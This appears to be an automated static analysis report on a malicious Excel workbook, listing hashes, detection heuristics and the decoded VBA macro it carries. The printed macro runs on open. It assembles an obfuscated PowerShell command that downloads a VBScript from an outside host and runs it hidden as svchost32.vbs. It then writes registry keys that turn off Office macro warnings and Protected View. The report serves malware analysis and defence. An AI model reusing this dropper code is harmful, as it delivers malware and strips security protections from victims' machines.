Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 52b575d356d01ed7…

MALICIOUS

Office (OOXML)

18.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23
MD5: bf38346431c758df4bd99e3d4b5fcab1 SHA-1: 08f72bdd853bd37bcfc697e58ea78faad64007a1 SHA-256: 52b575d356d01ed7ee3bac6f661a15445b25114ede3b17abd84c5f23ffdd7f7e
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6391394-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6391394-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set Asdj3jasdxzi = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Asdj3jasdxzi = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fast-cargo.com/images/file/vb/Upload.vbs In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 11969 bytes
SHA-256: a803cd9da62d5358cae22d100e4068aced825cbad82aa75eb1896930e8cd767e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub tast()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Set Asdj3jasdxzi = CreateObject("WScript.Shell")
   Dim CmeuanWun1
   Dim CmeuanWun2
   Dim CmeuanWun3
   Dim CmeuanWun4
   Dim CmeuanWun5
   Dim CmeuanWun6
   Dim CmeuanWun7
   Dim CmeuanWun8
   Dim CmeuanWun9
   Dim CmeuanWun010
   Dim CmeuanWun011
   Dim CmeuanWun012
   Dim CmeuanWun013
   Dim CmeuanWun014

 
   
CmeuanWun1 = "P"
CmeuanWun1 = CmeuanWun1 & "o"
CmeuanWun1 = CmeuanWun1 & "w"
CmeuanWun1 = CmeuanWun1 & "e"
CmeuanWun1 = CmeuanWun1 & "r"
CmeuanWun1 = CmeuanWun1 & "S"
CmeuanWun1 = CmeuanWun1 & "h"
CmeuanWun1 = CmeuanWun1 & "e"
CmeuanWun1 = CmeuanWun1 & "l"
CmeuanWun2 = "l"
CmeuanWun2 = CmeuanWun2 & " ("
CmeuanWun2 = CmeuanWun2 & "N"
CmeuanWun2 = CmeuanWun2 & "e"
CmeuanWun2 = CmeuanWun2 & "w"
CmeuanWun2 = CmeuanWun2 & "-"
CmeuanWun2 = CmeuanWun2 & "O"
CmeuanWun2 = CmeuanWun2 & "b"
CmeuanWun3 = "j"
CmeuanWun3 = CmeuanWun3 & "e"
CmeuanWun3 = CmeuanWun3 & "c"
CmeuanWun3 = CmeuanWun3 & "t "
CmeuanWun3 = CmeuanWun3 & "S"
CmeuanWun3 = CmeuanWun3 & "y"
CmeuanWun3 = CmeuanWun3 & "s"
CmeuanWun3 = CmeuanWun3 & "t"
CmeuanWun4 = "e"
CmeuanWun4 = CmeuanWun4 & "m"
CmeuanWun4 = CmeuanWun4 & "."
CmeuanWun4 = CmeuanWun4 & "N"
CmeuanWun4 = CmeuanWun4 & "e"
CmeuanWun4 = CmeuanWun4 & "t"
CmeuanWun4 = CmeuanWun4 & "."
CmeuanWun4 = CmeuanWun4 & "W"
CmeuanWun4 = CmeuanWun4 & "e"
CmeuanWun5 = "b"
CmeuanWun5 = CmeuanWun5 & "C"
CmeuanWun5 = CmeuanWun5 & "l"
CmeuanWun5 = CmeuanWun5 & "i"
CmeuanWun5 = CmeuanWun5 & "e"
CmeuanWun5 = CmeuanWun5 & "n"
CmeuanWun5 = CmeuanWun5 & "t"
CmeuanWun5 = CmeuanWun5 & ")"
CmeuanWun5 = CmeuanWun5 & "."
CmeuanWun6 = "D"
CmeuanWun6 = CmeuanWun6 & "o"
CmeuanWun6 = CmeuanWun6 & "w"
CmeuanWun6 = CmeuanWun6 & "n"
CmeuanWun6 = CmeuanWun6 & "l"
CmeuanWun6 = CmeuanWun6 & "o"
CmeuanWun6 = CmeuanWun6 & "a"
CmeuanWun6 = CmeuanWun6 & "d"
CmeuanWun6 = CmeuanWun6 & "F"
CmeuanWun7 = "i"
CmeuanWun7 = CmeuanWun7 & "l"
CmeuanWun7 = CmeuanWun7 & "e"
CmeuanWun7 = CmeuanWun7 & "("
CmeuanWun7 = CmeuanWun7 & "'http://fast-cargo.com/images/file/vb/Upload.vbs',"
CmeuanWun8 = "'"
CmeuanWun8 = CmeuanWun8 & "%"
CmeuanWun8 = CmeuanWun8 & "P"
CmeuanWun8 = CmeuanWun8 & "u"
CmeuanWun8 = CmeuanWun8 & "b"
CmeuanWun8 = CmeuanWun8 & "lic"
CmeuanWun8 = CmeuanWun8 & "%"
CmeuanWun8 = CmeuanWun8 & "\"
CmeuanWun8 = CmeuanWun8 & "s"
CmeuanWun9 = "v"
CmeuanWun9 = CmeuanWun9 & "c"
CmeuanWun9 = CmeuanWun9 & "h"
CmeuanWun9 = CmeuanWun9 & "o"
CmeuanWun9 = CmeuanWun9 & "s"
CmeuanWun9 = CmeuanWun9 & "t"
CmeuanWun9 = CmeuanWun9 & "3"
CmeuanWun9 = CmeuanWun9 & "2"
CmeuanWun9 = CmeuanWun9 & "."
CmeuanWun010 = "v"
CmeuanWun010 = CmeuanWun010 & "b"
CmeuanWun010 = CmeuanWun010 & "s"
CmeuanWun010 = CmeuanWun010 & "'"
CmeuanWun010 = CmeuanWun010 & ")"
CmeuanWun010 = CmeuanWun010 & ";"
CmeuanWun010 = CmeuanWun010 & "S"
CmeuanWun011 = "t"
CmeuanWun011 = CmeuanWun011 & "a"
CmeuanWun011 = CmeuanWun011 & "r"
CmeuanWun011 = CmeuanWun011 & "t"
CmeuanWun011 = CmeuanWun011 & "-"
CmeuanWun011 = CmeuanWun011 & "P"
CmeuanWun011 = CmeuanWun011 & "r"
CmeuanWun012 = "o"
CmeuanWun012 = CmeuanWun012 & "c"
CmeuanWun012 = CmeuanWun012 & "e"
CmeuanWun012 = CmeuanWun012 & "s"
CmeuanWun012 = CmeuanWun012 & "s"
CmeuanWun012 = CmeuanWun012 & " '"
CmeuanWun012 = CmeuanWun012 & "%"
CmeuanWun013 = "P"
CmeuanWun013 = CmeuanWun013 & "u"
CmeuanWun013 = CmeuanWun013 & "b"
CmeuanWun013 = CmeuanWun013 & "lic"
CmeuanWun013 = CmeuanWun013 & "%"
CmeuanWun013 = CmeuanWun013 & "\"
CmeuanWun013 = CmeuanWun013 & "s"
CmeuanWun013 = CmeuanWun013 & "v"
CmeuanWun014 = "c"
CmeuanWun014 = CmeuanWun014 & "h"
CmeuanWun014 = CmeuanWun014 & "o"
CmeuanWun014 = CmeuanWun014 & "s"
CmeuanWun014 = CmeuanWun014 & "t"
CmeuanWun014 = CmeuanWun014 & "3"
CmeuanWun014 = CmeuanWun014 & "2"
CmeuanWun014 = CmeuanWun014 & "."
CmeuanWun014 = CmeuanWun014 & "v"
CmeuanWun014 = CmeuanWun014 & "b"
CmeuanWun014 = CmeuanWun014 & "s"
CmeuanWun014 = CmeuanWun014 & "'"


    
CmeuanWun20 = CmeuanWun1 + CmeuanWun2 + CmeuanWun3 + CmeuanWun4 + CmeuanWun5 + CmeuanWun6 + CmeuanWun7 + CmeuanWun8 + CmeuanWun9 + CmeuanWun010 + CmeuanWun011 + CmeuanWun012 + CmeuanWun013 + CmeuanWun014
    Asdj3jasdxzi.Run CmeuanWun20, vbHide
Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 45568 bytes
SHA-256: cbb8ffa484de46be2ed67b515c17133c8a959294a1949368cd1c15e537b42f69
Detection
ClamAV: Doc.Macro.Obfuscation-6391394-0
Obfuscation or payload: unlikely

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